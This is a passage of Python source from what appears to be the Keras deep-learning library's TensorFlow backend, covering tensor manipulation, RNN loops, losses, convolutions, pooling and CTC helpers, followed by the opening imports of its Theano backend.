    - [batch, channels, height, width] (for 'th' dim_ordering)
    - [batch, height, width, channels] (for 'tf' dim_ordering)
    by a factor of (height_factor, width_factor). Both factors should be
    positive integers.
    '''
    if dim_ordering == 'th':
        original_shape = int_shape(X)
        new_shape = tf.shape(X)[2:]
        new_shape *= tf.constant(np.array([height_factor, width_factor]).astype('int32'))
        X = permute_dimensions(X, [0, 2, 3, 1])
        X = tf.image.resize_nearest_neighbor(X, new_shape)
        X = permute_dimensions(X, [0, 3, 1, 2])
        X.set_shape((None, None, original_shape[2] * height_factor, original_shape[3] * width_factor))
        return X
    elif dim_ordering == 'tf':
        original_shape = int_shape(X)
        new_shape = tf.shape(X)[1:3]
        new_shape *= tf.constant(np.array([height_factor, width_factor]).astype('int32'))
        X = tf.image.resize_nearest_neighbor(X, new_shape)
        X.set_shape((None, original_shape[1] * height_factor, original_shape[2] * width_factor, None))
        return X
    else:
        raise Exception('Invalid dim_ordering: ' + dim_ordering)


def resize_volumes(X, depth_factor, height_factor, width_factor, dim_ordering):
    '''Resize the volume contained in a 5D tensor of shape
    - [batch, channels, depth, height, width] (for 'th' dim_ordering)
    - [batch, depth, height, width, channels] (for 'tf' dim_ordering)
    by a factor of (depth_factor, height_factor, width_factor).
    All three factors should be positive integers.
    '''
    if dim_ordering == 'th':
        output = repeat_elements(X, depth_factor, axis=2)
        output = repeat_elements(output, height_factor, axis=3)
        output = repeat_elements(output, width_factor, axis=4)
        return output
    elif dim_ordering == 'tf':
        output = repeat_elements(X, depth_factor, axis=1)
        output = repeat_elements(output, height_factor, axis=2)
        output = repeat_elements(output, width_factor, axis=3)
        return output
    else:
        raise Exception('Invalid dim_ordering: ' + dim_ordering)


def repeat_elements(x, rep, axis):
    '''Repeats the elements of a tensor along an axis, like np.repeat

    If x has shape (s1, s2, s3) and axis=1, the output
    will have shape (s1, s2 * rep, s3)
    '''
    x_shape = x.get_shape().as_list()
    # slices along the repeat axis
    splits = tf.split(axis, x_shape[axis], x)
    # repeat each slice the given number of reps
    x_rep = [s for s in splits for i in range(rep)]
    return tf.concat(axis, x_rep)


def repeat(x, n):
    '''Repeats a 2D tensor:

    if x has shape (samples, dim) and n=2,
    the output will have shape (samples, 2, dim)
    '''
    assert ndim(x) == 2
    tensors = [x] * n
    stacked = tf.pack(tensors)
    return tf.transpose(stacked, (1, 0, 2))


def tile(x, n):
    if not hasattr(n, 'shape') and not hasattr(n, '__len__'):
        n = [n]
    return tf.tile(x, n)


def flatten(x):
    return tf.reshape(x, [-1])


def batch_flatten(x):
    '''Turn a n-D tensor into a 2D tensor where
    the first dimension is conserved.
    '''
    x = tf.reshape(x, [-1, prod(shape(x)[1:])])
    return x


def expand_dims(x, dim=-1):
    '''Adds a 1-sized dimension at index "dim".
    '''
    return tf.expand_dims(x, dim)


def squeeze(x, axis):
    '''Removes a 1-dimension from the tensor at index "axis".
    '''
    return tf.squeeze(x, [axis])


def temporal_padding(x, padding=1):
    '''Pads the middle dimension of a 3D tensor
    with "padding" zeros left and right.
    '''
    pattern = [[0, 0], [padding, padding], [0, 0]]
    return tf.pad(x, pattern)


def spatial_2d_padding(x, padding=(1, 1), dim_ordering='th'):
    '''Pads the 2nd and 3rd dimensions of a 4D tensor
    with "padding[0]" and "padding[1]" (resp.) zeros left and right.
    '''
    if dim_ordering == 'th':
        pattern = [[0, 0], [0, 0],
                   [padding[0], padding[0]], [padding[1], padding[1]]]
    else:
        pattern = [[0, 0],
                   [padding[0], padding[0]], [padding[1], padding[1]],
                   [0, 0]]
    return tf.pad(x, pattern)


def spatial_3d_padding(x, padding=(1, 1, 1), dim_ordering='th'):
    '''Pads 5D tensor with zeros for the depth, height, width dimension with
    "padding[0]", "padding[1]" and "padding[2]" (resp.) zeros left and right

    For 'tf' dim_ordering, the 2nd, 3rd and 4th dimension will be padded.
    For 'th' dim_ordering, the 3rd, 4th and 5th dimension will be padded.
    '''
    if dim_ordering == 'th':
        pattern = [
            [0, 0],
            [0, 0],
            [padding[0], padding[0]],
            [padding[1], padding[1]],
            [padding[2], padding[2]]
        ]
    else:
        pattern = [
            [0, 0],
            [padding[0], padding[0]],
            [padding[1], padding[1]],
            [padding[2], padding[2]],
            [0, 0]
        ]
    return tf.pad(x, pattern)


def pack(x):
    return tf.pack(x)


def one_hot(indices, nb_classes):
    '''Input: nD integer tensor of shape (batch_size, dim1, dim2, ... dim(n-1))
    Output: (n + 1)D one hot representation of the input
    with shape (batch_size, dim1, dim2, ... dim(n-1), nb_classes)
    '''
    return tf.one_hot(indices, depth=nb_classes, axis=-1)


def reverse(x, axes):
    '''Reverse a tensor along the the specified axes
    '''
    if type(axes) == int:
        axes = [axes]
    dims = [True if i in axes else False for i in range(len(x.get_shape()._dims))]
    return tf.reverse(x, dims)


# VALUE MANIPULATION


def get_value(x):
    '''Returns the value of a tensor variable,
    as a Numpy array.
    '''
    return x.eval(session=get_session())


def batch_get_value(xs):
    '''Returns the value of more than one tensor variable,
    as a list of Numpy arrays.
    '''
    if xs:
        return get_session().run(xs)
    else:
        return []


def set_value(x, value):
    '''Sets the value of a tensor variable,
    from a Numpy array.
    '''
    value = np.asarray(value)
    tf_dtype = _convert_string_dtype(x.dtype.name.split('_')[0])
    if hasattr(x, '_assign_placeholder'):
        assign_placeholder = x._assign_placeholder
        assign_op = x._assign_op
    else:
        assign_placeholder = tf.placeholder(tf_dtype, shape=value.shape)
        assign_op = x.assign(assign_placeholder)
        x._assign_placeholder = assign_placeholder
        x._assign_op = assign_op
    get_session().run(assign_op, feed_dict={assign_placeholder: value})


def batch_set_value(tuples):
    '''Sets the values of many tensor variables at once.

    # Arguments
        tuples: a list of tuples `(tensor, value)`.
            `value` should be a Numpy array.
    '''
    if tuples:
        assign_ops = []
        feed_dict = {}
        for x, value in tuples:
            value = np.asarray(value)
            tf_dtype = _convert_string_dtype(x.dtype.name.split('_')[0])
            if hasattr(x, '_assign_placeholder'):
                assign_placeholder = x._assign_placeholder
                assign_op = x._assign_op
            else:
                assign_placeholder = tf.placeholder(tf_dtype, shape=value.shape)
                assign_op = x.assign(assign_placeholder)
                x._assign_placeholder = assign_placeholder
                x._assign_op = assign_op
            assign_ops.append(assign_op)
            feed_dict[assign_placeholder] = value
        get_session().run(assign_ops, feed_dict=feed_dict)


def print_tensor(x, message=''):
    '''Print the message and the tensor when evaluated and return the same
    tensor.
    '''
    return tf.Print(x, [x], message)


# GRAPH MANIPULATION

class Function(object):

    def __init__(self, inputs, outputs, updates=[]):
        assert type(inputs) in {list, tuple}, 'Input to a TensorFlow backend function should be a list or tuple.'
        assert type(outputs) in {list, tuple}, 'Output to a TensorFlow backend function should be a list or tuple.'
        assert type(updates) in {list, tuple}, 'Updates in a TensorFlow backend function should be a list or tuple.'
        self.inputs = list(inputs)
        self.outputs = list(outputs)
        with tf.control_dependencies(self.outputs):
            updates_ops = []
            for update in updates:
                if type(update) is tuple:
                    p, new_p = update
                    updates_ops.append(tf.assign(p, new_p))
                else:
                    # assumed already an op
                    updates_ops.append(update)
            self.updates_op = tf.group(*updates_ops)

    def __call__(self, inputs):
        assert type(inputs) in {list, tuple}
        names = [getattr(v, 'name', None) for v in self.inputs]
        feed_dict = dict(zip(names, inputs))
        session = get_session()
        updated = session.run(self.outputs + [self.updates_op], feed_dict=feed_dict)
        return updated[:len(self.outputs)]


def function(inputs, outputs, updates=[], **kwargs):
    '''Instantiates a Keras function.

    # Arguments
        inputs: list of placeholder/variable tensors.
        outputs: list of output tensors.
        updates: list of update tuples (old_tensor, new_tensor).
    '''
    if len(kwargs) > 0:
        msg = [
            "Expected no kwargs, you passed %s" % len(kwargs),
            "kwargs passed to function are ignored with Tensorflow backend"
        ]
        warnings.warn('\n'.join(msg))
    return Function(inputs, outputs, updates=updates)


def gradients(loss, variables):
    '''Returns the gradients of `variables` (list of tensor variables)
    with regard to `loss`.
    '''
    return tf.gradients(loss, variables)


def stop_gradient(variables):
    '''Returns `variables` but with zero gradient with respect to every other
    variables.
    '''
    return tf.stop_gradient(variables)


# CONTROL FLOW

def rnn(step_function, inputs, initial_states,
        go_backwards=False, mask=None, constants=None,
        unroll=False, input_length=None):
    '''Iterates over the time dimension of a tensor.

    # Arguments
        inputs: tensor of temporal data of shape (samples, time, ...)
            (at least 3D).
        step_function:
            Parameters:
                input: tensor with shape (samples, ...) (no time dimension),
                    representing input for the batch of samples at a certain
                    time step.
                states: list of tensors.
            Returns:
                output: tensor with shape (samples, ...) (no time dimension),
                new_states: list of tensors, same length and shapes
                    as 'states'.
        initial_states: tensor with shape (samples, ...) (no time dimension),
            containing the initial values for the states used in
            the step function.
        go_backwards: boolean. If True, do the iteration over
            the time dimension in reverse order.
        mask: binary tensor with shape (samples, time, 1),
            with a zero for every element that is masked.
        constants: a list of constant values passed at each step.
        unroll: with TensorFlow the RNN is always unrolled, but with Theano you
            can use this boolean flag to unroll the RNN.
        input_length: not relevant in the TensorFlow implementation.
            Must be specified if using unrolling with Theano.

    # Returns
        A tuple (last_output, outputs, new_states).

        last_output: the latest output of the rnn, of shape (samples, ...)
        outputs: tensor with shape (samples, time, ...) where each
            entry outputs[s, t] is the output of the step function
            at time t for sample s.
        new_states: list of tensors, latest states returned by
            the step function, of shape (samples, ...).
    '''
    ndim = len(inputs.get_shape())
    assert ndim >= 3, "Input should be at least 3D."
    axes = [1, 0] + list(range(2, ndim))
    inputs = tf.transpose(inputs, (axes))
    input_list = tf.unpack(inputs)
    if constants is None:
        constants = []

    states = initial_states
    successive_states = []
    successive_outputs = []
    if go_backwards:
        input_list.reverse()

    if mask is not None:
        # Transpose not supported by bool tensor types, hence round-trip to uint8.
        mask = tf.cast(mask, tf.uint8)
        if len(mask.get_shape()) == ndim-1:
            mask = expand_dims(mask)
        mask = tf.cast(tf.transpose(mask, axes), tf.bool)
        mask_list = tf.unpack(mask)

        if go_backwards:
            mask_list.reverse()

        for input, mask_t in zip(input_list, mask_list):
            output, new_states = step_function(input, states + constants)

            # tf.select needs its condition tensor to be the same shape as its two
            # result tensors, but in our case the condition (mask) tensor is
            # (nsamples, 1), and A and B are (nsamples, ndimensions). So we need to
            # broadcast the mask to match the shape of A and B. That's what the
            # tile call does, is just repeat the mask along its second dimension
            # ndimensions times.
            tiled_mask_t = tf.tile(mask_t, tf.pack([1, tf.shape(output)[1]]))

            if len(successive_outputs) == 0:
                prev_output = zeros_like(output)
            else:
                prev_output = successive_outputs[-1]

            output = tf.select(tiled_mask_t, output, prev_output)

            return_states = []
            for state, new_state in zip(states, new_states):
                # (see earlier comment for tile explanation)
                tiled_mask_t = tf.tile(mask_t, tf.pack([1, tf.shape(new_state)[1]]))
                return_states.append(tf.select(tiled_mask_t, new_state, state))

            states = return_states
            successive_outputs.append(output)
            successive_states.append(states)
    else:
        for input in input_list:
            output, states = step_function(input, states + constants)
            successive_outputs.append(output)
            successive_states.append(states)

    last_output = successive_outputs[-1]
    outputs = tf.pack(successive_outputs)
    new_states = successive_states[-1]

    axes = [1, 0] + list(range(2, len(outputs.get_shape())))
    outputs = tf.transpose(outputs, axes)
    return last_output, outputs, new_states


def switch(condition, then_expression, else_expression):
    '''Switches between two operations depending on a scalar value (int or bool).
    Note that both `then_expression` and `else_expression`
    should be symbolic tensors of the *same shape*.

    # Arguments
        condition: scalar tensor.
        then_expression: TensorFlow operation.
        else_expression: TensorFlow operation.
    '''
    x_shape = copy.copy(then_expression.get_shape())
    x = tf.python.control_flow_ops.cond(tf.cast(condition, 'bool'),
                                        lambda: then_expression,
                                        lambda: else_expression)
    x.set_shape(x_shape)
    return x


def in_train_phase(x, alt):
    '''Selects `x` in train phase, and `alt` otherwise.
    Note that `alt` should have the *same shape* as `x`.
    '''
    if _LEARNING_PHASE is 1:
        return x
    elif _LEARNING_PHASE is 0:
        return alt
    # else: assume learning phase is a placeholder.
    x_shape = copy.copy(x.get_shape())
    x = tf.python.control_flow_ops.cond(tf.cast(_LEARNING_PHASE, 'bool'),
                                        lambda: x,
                                        lambda: alt)
    x._uses_learning_phase = True
    x.set_shape(x_shape)
    return x


def in_test_phase(x, alt):
    '''Selects `x` in test phase, and `alt` otherwise.
    Note that `alt` should have the *same shape* as `x`.
    '''
    if _LEARNING_PHASE is 1:
        return alt
    elif _LEARNING_PHASE is 0:
        return x
    x_shape = copy.copy(x.get_shape())
    x = tf.python.control_flow_ops.cond(tf.cast(_LEARNING_PHASE, 'bool'),
                                        lambda: alt,
                                        lambda: x)
    x._uses_learning_phase = True
    x.set_shape(x_shape)
    return x


# NN OPERATIONS

def relu(x, alpha=0., max_value=None):
    '''Rectified linear unit

    # Arguments
        alpha: slope of negative section.
        max_value: saturation threshold.
    '''
    if alpha != 0.:
        negative_part = tf.nn.relu(-x)
    x = tf.nn.relu(x)
    if max_value is not None:
        max_value = _to_tensor(max_value, x.dtype.base_dtype)
        zero = _to_tensor(0., x.dtype.base_dtype)
        x = tf.clip_by_value(x, zero, max_value)
    if alpha != 0.:
        alpha = _to_tensor(alpha, x.dtype.base_dtype)
        x -= alpha * negative_part
    return x


def softmax(x):
    '''Softmax of a tensor.
    '''
    return tf.nn.softmax(x)


def softplus(x):
    '''Softplus of a tensor.
    '''
    return tf.nn.softplus(x)


def softsign(x):
    return tf.nn.softsign(x)


def categorical_crossentropy(output, target, from_logits=False):
    '''Categorical crossentropy between an output tensor
    and a target tensor, where the target is a tensor of the same
    shape as the output.
    '''
    # Note: tf.nn.softmax_cross_entropy_with_logits
    # expects logits, Keras expects probabilities.
    if not from_logits:
        # scale preds so that the class probas of each sample sum to 1
        output /= tf.reduce_sum(output,
                                reduction_indices=len(output.get_shape()) - 1,
                                keep_dims=True)
        # manual computation of crossentropy
        epsilon = _to_tensor(_EPSILON, output.dtype.base_dtype)
        output = tf.clip_by_value(output, epsilon, 1. - epsilon)
        return - tf.reduce_sum(target * tf.log(output),
                               reduction_indices=len(output.get_shape()) - 1)
    else:
        return tf.nn.softmax_cross_entropy_with_logits(output, target)


def sparse_categorical_crossentropy(output, target, from_logits=False):
    '''Categorical crossentropy between an output tensor
    and a target tensor, where the target is an integer tensor.
    '''
    # Note: tf.nn.softmax_cross_entropy_with_logits
    # expects logits, Keras expects probabilities.
    if not from_logits:
        epsilon = _to_tensor(_EPSILON, output.dtype.base_dtype)
        output = tf.clip_by_value(output, epsilon, 1 - epsilon)
        output = tf.log(output)

    output_shape = output.get_shape()
    res = tf.nn.sparse_softmax_cross_entropy_with_logits(
        tf.reshape(output, [-1, int(output_shape[-1])]),
        cast(flatten(target), 'int64'))
    if len(output_shape) == 3:
        # if our output includes timesteps we need to reshape
        return tf.reshape(res, [-1, int(output_shape[-2])])
    else:
        return res


def binary_crossentropy(output, target, from_logits=False):
    '''Binary crossentropy between an output tensor and a target tensor.
    '''
    # Note: tf.nn.softmax_cross_entropy_with_logits
    # expects logits, Keras expects probabilities.
    if not from_logits:
        # transform back to logits
        epsilon = _to_tensor(_EPSILON, output.dtype.base_dtype)
        output = tf.clip_by_value(output, epsilon, 1 - epsilon)
        output = tf.log(output / (1 - output))
    return tf.nn.sigmoid_cross_entropy_with_logits(output, target)


def sigmoid(x):
    '''Element-wise sigmoid.
    '''
    return tf.nn.sigmoid(x)


def hard_sigmoid(x):
    '''Segment-wise linear approximation of sigmoid.
    Faster than sigmoid.
    '''
    x = (0.2 * x) + 0.5
    zero = _to_tensor(0., x.dtype.base_dtype)
    one = _to_tensor(1., x.dtype.base_dtype)
    x = tf.clip_by_value(x, zero, one)
    return x


def tanh(x):
    '''Element-wise tanh.
    '''
    return tf.nn.tanh(x)


def dropout(x, level, noise_shape=None, seed=None):
    '''Sets entries in `x` to zero at random,
    while scaling the entire tensor.

    # Arguments
        x: tensor
        level: fraction of the entries in the tensor
            that will be set to 0.
        noise_shape: shape for randomly generated keep/drop flags,
            must be broadcastable to the shape of `x`
        seed: random seed to ensure determinism.
    '''
    retain_prob = 1. - level
    if seed is None:
        seed = np.random.randint(10e6)
    # the dummy 1. works around a TF bug
    # (float32_ref vs. float32 incomptability)
    return tf.nn.dropout(x * 1., retain_prob, noise_shape, seed=seed)


def l2_normalize(x, axis):
    '''Normalizes a tensor wrt the L2 norm alongside the specified axis.
    '''
    if axis < 0:
        axis = axis % len(x.get_shape())
    return tf.nn.l2_normalize(x, dim=axis)


# CONVOLUTIONS

def _preprocess_deconv_output_shape(shape, dim_ordering):
    if dim_ordering == 'th':
        shape = (shape[0], shape[2], shape[3], shape[1])
    return shape


def _preprocess_conv2d_input(x, dim_ordering):
    if _FLOATX == 'float64':
        x = tf.cast(x, 'float32')
    if dim_ordering == 'th':
        # TF uses the last dimension as channel dimension,
        # instead of the 2nd one.
        # TH input shape: (samples, input_depth, rows, cols)
        # TF input shape: (samples, rows, cols, input_depth)
        x = tf.transpose(x, (0, 2, 3, 1))
    return x


def _preprocess_conv3d_input(x, dim_ordering):
    if _FLOATX == 'float64':
        x = tf.cast(x, 'float32')
    if dim_ordering == 'th':
        # TF uses the last dimension as channel dimension,
        # instead of the 2nd one.
        # TH input shape: (samples, input_depth, conv_dim1, conv_dim2, conv_dim3)
        # TF input shape: (samples, conv_dim1, conv_dim2, conv_dim3, input_depth)
        x = tf.transpose(x, (0, 2, 3, 4, 1))
    return x


def _preprocess_conv2d_kernel(kernel, dim_ordering):
    if _FLOATX == 'float64':
        kernel = tf.cast(kernel, 'float32')
    if dim_ordering == 'th':
        # TF uses the last dimension as channel dimension,
        # instead of the 2nd one.
        # TH kernel shape: (depth, input_depth, rows, cols)
        # TF kernel shape: (rows, cols, input_depth, depth)
        kernel = tf.transpose(kernel, (2, 3, 1, 0))
    return kernel


def _preprocess_conv3d_kernel(kernel, dim_ordering):
    if _FLOATX == 'float64':
        kernel = tf.cast(kernel, 'float32')
    if dim_ordering == 'th':
        # TF uses the last dimension as channel dimension,
        # instead of the 2nd one.
        # TH kernel shape: (out_depth, input_depth, kernel_dim1, kernel_dim2, kernel_dim3)
        # TF kernel shape: (kernel_dim1, kernel_dim2, kernel_dim3, input_depth, out_depth)
        kernel = tf.transpose(kernel, (2, 3, 4, 1, 0))
    return kernel


def _preprocess_border_mode(border_mode):
    if border_mode == 'same':
        padding = 'SAME'
    elif border_mode == 'valid':
        padding = 'VALID'
    else:
        raise Exception('Invalid border mode: ' + str(border_mode))
    return padding


def _postprocess_conv2d_output(x, dim_ordering):
    if dim_ordering == 'th':
        x = tf.transpose(x, (0, 3, 1, 2))

    if _FLOATX == 'float64':
        x = tf.cast(x, 'float64')
    return x


def _postprocess_conv3d_output(x, dim_ordering):
    if dim_ordering == 'th':
        x = tf.transpose(x, (0, 4, 1, 2, 3))

    if _FLOATX == 'float64':
        x = tf.cast(x, 'float64')
    return x


def conv2d(x, kernel, strides=(1, 1), border_mode='valid',
           dim_ordering=_IMAGE_DIM_ORDERING,
           image_shape=None, filter_shape=None, filter_dilation=(1, 1)):
    '''2D convolution.

    # Arguments
        kernel: kernel tensor.
        strides: strides tuple.
        border_mode: string, "same" or "valid".
        dim_ordering: "tf" or "th".
            Whether to use Theano or TensorFlow dimension ordering
            for inputs/kernels/ouputs.
    '''
    if dim_ordering not in {'th', 'tf'}:
        raise Exception('Unknown dim_ordering ' + str(dim_ordering))

    x = _preprocess_conv2d_input(x, dim_ordering)
    kernel = _preprocess_conv2d_kernel(kernel, dim_ordering)
    padding = _preprocess_border_mode(border_mode)
    if filter_dilation == (1, 1):
        strides = (1,) + strides + (1,)
        x = tf.nn.conv2d(x, kernel, strides, padding=padding)
    else:
        assert filter_dilation[0] == filter_dilation[1]
        assert strides == (1, 1), 'Invalid strides for dilated convolution'
        x = tf.nn.atrous_conv2d(x, kernel, filter_dilation[0], padding=padding)
    return _postprocess_conv2d_output(x, dim_ordering)


def deconv2d(x, kernel, output_shape, strides=(1, 1),
             border_mode='valid',
             dim_ordering=_IMAGE_DIM_ORDERING,
             image_shape=None, filter_shape=None):
    '''2D deconvolution (i.e. transposed convolution).

    # Arguments
        x: input tensor.
        kernel: kernel tensor.
        output_shape: 1D int tensor for the output shape.
        strides: strides tuple.
        border_mode: string, "same" or "valid".
        dim_ordering: "tf" or "th".
            Whether to use Theano or TensorFlow dimension ordering
            for inputs/kernels/ouputs.
    '''
    if dim_ordering not in {'th', 'tf'}:
        raise Exception('Unknown dim_ordering ' + str(dim_ordering))

    x = _preprocess_conv2d_input(x, dim_ordering)
    output_shape = _preprocess_deconv_output_shape(output_shape, dim_ordering)
    kernel = _preprocess_conv2d_kernel(kernel, dim_ordering)
    kernel = tf.transpose(kernel, (0, 1, 3, 2))
    padding = _preprocess_border_mode(border_mode)
    strides = (1,) + strides + (1,)

    x = tf.nn.conv2d_transpose(x, kernel, output_shape, strides,
                               padding=padding)
    return _postprocess_conv2d_output(x, dim_ordering)


def atrous_conv2d(x, kernel, rate=1,
                  border_mode='valid',
                  dim_ordering=_IMAGE_DIM_ORDERING,
                  image_shape=None, filter_shape=None):
    if dim_ordering not in {'th', 'tf'}:
        raise Exception('Unknown dim_ordering ' + str(dim_ordering))
    if rate == 1:
        return conv2d(x, kernel, strides=(1, 1), border_mode=border_mode,
                      dim_ordering=dim_ordering)

    x = _preprocess_conv2d_input(x, dim_ordering)
    kernel = _preprocess_conv2d_kernel(kernel, dim_ordering)
    padding = _preprocess_border_mode(border_mode)

    x = tf.nn.atrous_conv2d(x, kernel, rate, padding)
    return _postprocess_conv2d_output(x, dim_ordering)


def separable_conv2d(x, depthwise_kernel, pointwise_kernel, strides=(1, 1),
                     border_mode='valid', dim_ordering=_IMAGE_DIM_ORDERING):
    if dim_ordering not in {'th', 'tf'}:
        raise Exception('Unknown dim_ordering ' + str(dim_ordering))

    x = _preprocess_conv2d_input(x, dim_ordering)
    depthwise_kernel = _preprocess_conv2d_kernel(depthwise_kernel,
                                                 dim_ordering)
    pointwise_kernel = _preprocess_conv2d_kernel(pointwise_kernel,
                                                 dim_ordering)
    padding = _preprocess_border_mode(border_mode)
    strides = (1,) + strides + (1,)

    x = tf.nn.separable_conv2d(x, depthwise_kernel, pointwise_kernel,
                               strides, padding)
    return _postprocess_conv2d_output(x, dim_ordering)


def conv3d(x, kernel, strides=(1, 1, 1),
           border_mode='valid', dim_ordering=_IMAGE_DIM_ORDERING,
           volume_shape=None, filter_shape=None):
    '''3D convolution.

    # Arguments
        kernel: kernel tensor.
        strides: strides tuple.
        border_mode: string, "same" or "valid".
        dim_ordering: "tf" or "th".
            Whether to use Theano or TensorFlow dimension ordering
            for inputs/kernels/ouputs.
    '''
    if dim_ordering not in {'th', 'tf'}:
        raise Exception('Unknown dim_ordering ' + str(dim_ordering))

    x = _preprocess_conv3d_input(x, dim_ordering)
    kernel = _preprocess_conv3d_kernel(kernel, dim_ordering)
    padding = _preprocess_border_mode(border_mode)
    strides = (1,) + strides + (1,)

    x = tf.nn.conv3d(x, kernel, strides, padding)
    return _postprocess_conv3d_output(x, dim_ordering)


def pool2d(x, pool_size, strides=(1, 1),
           border_mode='valid', dim_ordering=_IMAGE_DIM_ORDERING,
           pool_mode='max'):
    '''2D Pooling.

    # Arguments
        pool_size: tuple of 2 integers.
        strides: tuple of 2 integers.
        border_mode: one of "valid", "same".
        dim_ordering: one of "th", "tf".
        pool_mode: one of "max", "avg".
    '''
    if dim_ordering not in {'th', 'tf'}:
        raise Exception('Unknown dim_ordering ' + str(dim_ordering))

    padding = _preprocess_border_mode(border_mode)
    strides = (1,) + strides + (1,)
    pool_size = (1,) + pool_size + (1,)

    x = _preprocess_conv2d_input(x, dim_ordering)

    if pool_mode == 'max':
        x = tf.nn.max_pool(x, pool_size, strides, padding=padding)
    elif pool_mode == 'avg':
        x = tf.nn.avg_pool(x, pool_size, strides, padding=padding)
    else:
        raise Exception('Invalid pooling mode: ' + str(pool_mode))

    return _postprocess_conv2d_output(x, dim_ordering)


def pool3d(x, pool_size, strides=(1, 1, 1), border_mode='valid',
           dim_ordering=_IMAGE_DIM_ORDERING, pool_mode='max'):
    '''3D Pooling.

    # Arguments
        pool_size: tuple of 3 integers.
        strides: tuple of 3 integers.
        border_mode: one of "valid", "same".
        dim_ordering: one of "th", "tf".
        pool_mode: one of "max", "avg".
    '''
    if dim_ordering not in {'th', 'tf'}:
        raise Exception('Unknown dim_ordering ' + str(dim_ordering))

    padding = _preprocess_border_mode(border_mode)
    strides = (1,) + strides + (1,)
    pool_size = (1,) + pool_size + (1,)

    x = _preprocess_conv3d_input(x, dim_ordering)

    if pool_mode == 'max':
        x = tf.nn.max_pool3d(x, pool_size, strides, padding=padding)
    elif pool_mode == 'avg':
        x = tf.nn.avg_pool3d(x, pool_size, strides, padding=padding)
    else:
        raise Exception('Invalid pooling mode: ' + str(pool_mode))

    return _postprocess_conv3d_output(x, dim_ordering)


# RANDOMNESS

def random_normal(shape, mean=0.0, std=1.0, dtype=_FLOATX, seed=None):
    if seed is None:
        seed = np.random.randint(10e6)
    return tf.random_normal(shape, mean=mean, stddev=std,
                            dtype=dtype, seed=seed)


def random_uniform(shape, low=0.0, high=1.0, dtype=_FLOATX, seed=None):
    if seed is None:
        seed = np.random.randint(10e6)
    return tf.random_uniform(shape, minval=low, maxval=high,
                             dtype=dtype, seed=seed)


def random_binomial(shape, p=0.0, dtype=_FLOATX, seed=None):
    if seed is None:
        seed = np.random.randint(10e6)
    return tf.select(tf.random_uniform(shape, dtype=dtype, seed=seed) <= p,
                     tf.ones(shape, dtype=dtype),
                     tf.zeros(shape, dtype=dtype))

# CTC
# tensorflow has a native implemenation, but it uses sparse tensors
# and therefore requires a wrapper for Keras. The functions below convert
# dense to sparse tensors and also wraps up the beam search code that is
# in tensorflow's CTC implementation

def ctc_label_dense_to_sparse(labels, label_lengths):
    # undocumented feature soon to be made public
    from tensorflow.python.ops import functional_ops
    label_shape = tf.shape(labels)
    num_batches_tns = tf.pack([label_shape[0]])
    max_num_labels_tns = tf.pack([label_shape[1]])

    def range_less_than(previous_state, current_input):
        return tf.expand_dims(tf.range(label_shape[1]), 0) < current_input

    init = tf.cast(tf.fill(max_num_labels_tns, 0), tf.bool)
    dense_mask = functional_ops.scan(range_less_than, label_lengths,
                                     initializer=init, parallel_iterations=1)
    dense_mask = dense_mask[:, 0, :]

    label_array = tf.reshape(tf.tile(tf.range(0, label_shape[1]), num_batches_tns),
                             label_shape)
    label_ind = tf.boolean_mask(label_array, dense_mask)

    batch_array = tf.transpose(tf.reshape(tf.tile(tf.range(0, label_shape[0]),
                                                  max_num_labels_tns), tf.reverse(label_shape, [True])))
    batch_ind = tf.boolean_mask(batch_array, dense_mask)
    indices = tf.transpose(tf.reshape(tf.concat(0, [batch_ind, label_ind]), [2, -1]))

    vals_sparse = tf.gather_nd(labels, indices)

    return tf.SparseTensor(tf.to_int64(indices), vals_sparse, tf.to_int64(label_shape))


def ctc_batch_cost(y_true, y_pred, input_length, label_length):

    '''Runs CTC loss algorithm on each batch element.

    # Arguments
        y_true: tensor (samples, max_string_length) containing the truth labels
        y_pred: tensor (samples, time_steps, num_categories) containing the prediction,
                or output of the softmax
        input_length: tensor (samples,1) containing the sequence length for
                each batch item in y_pred
        label_length: tensor (samples,1) containing the sequence length for
                each batch item in y_true

    # Returns
        Tensor with shape (samples,1) containing the
            CTC loss of each element
    '''
    label_length = tf.to_int32(tf.squeeze(label_length))
    input_length = tf.to_int32(tf.squeeze(input_length))
    sparse_labels = tf.to_int32(ctc_label_dense_to_sparse(y_true, label_length))

    y_pred = tf.log(tf.transpose(y_pred, perm=[1, 0, 2]) + 1e-8)

    return tf.expand_dims(tf.contrib.ctc.ctc_loss(inputs=y_pred,
                                                  labels=sparse_labels,
                                                  sequence_length=input_length), 1)


def ctc_decode(y_pred, input_length, greedy=True, beam_width=None,
               dict_seq_lens=None, dict_values=None):
    '''Decodes the output of a softmax using either
       greedy (also known as best path) or a constrained dictionary
       search.

    # Arguments
        y_pred: tensor (samples, time_steps, num_categories) containing the prediction,
                or output of the softmax
        input_length: tensor (samples,1) containing the sequence length for
                each batch item in y_pred
        greedy:  perform much faster best-path search if true.  This does
                not use a dictionary
        beam_width:  if greedy is false and this value is not none, then
                the constrained dictionary search uses a beam of this width
        dict_seq_lens: the length of each element in the dict_values list
        dict_values:  list of lists representing the dictionary.

    # Returns
        Tensor with shape (samples,time_steps,num_categories) containing the
            path probabilities (in softmax output format).  Note that a function that
            pulls out the argmax and collapses blank labels is still needed.
    '''
    y_pred = tf.log(tf.transpose(y_pred, perm=[1, 0, 2]) + 1e-8)
    input_length = tf.to_int32(tf.squeeze(input_length))

    if greedy:
        (decoded, log_prob) = tf.contrib.ctc.ctc_greedy_decoder(
            inputs=y_pred,
            sequence_length=input_length)
    else:
        if beam_width is not None:
            (decoded, log_prob) = tf.contrib.ctc.ctc_beam_search_decoder(
                inputs=y_pred,
                sequence_length=input_length,
                dict_seq_lens=dict_seq_lens, dict_values=dict_values)
        else:
            (decoded, log_prob) = tf.contrib.ctc.ctc_beam_search_decoder(
                inputs=y_pred,
                sequence_length=input_length, beam_width=beam_width,
                dict_seq_lens=dict_seq_lens, dict_values=dict_values)

    decoded_dense = [tf.sparse_to_dense(st.indices, st.shape, st.values, default_value=-1)
                     for st in decoded]

    return (decoded_dense, log_prob)






import theano
from theano import tensor as T
from theano.sandbox.rng_mrg import MRG_RandomStreams as RandomStreams
from theano.tensor.signal import pool
from theano.tensor.nnet import conv3d2d
from theano.printing import Print
try:
    from theano.tensor.nnet.nnet import softsign as T_softsign
except ImportError:
    from theano.sandbox.softsign import softsign as T_softsign
import inspect
import numpy as np
from .common import _FLOATX, _EPSILON, _IMAGE_DIM_ORDERING


# INTERNAL UTILS
theano.config.floatX = _FLOATX
_LEARNING_PHASE = T.scalar(dtype='uint8', name='keras_learning_phase')  # 0 = test, 1 = train


def learning_phase():
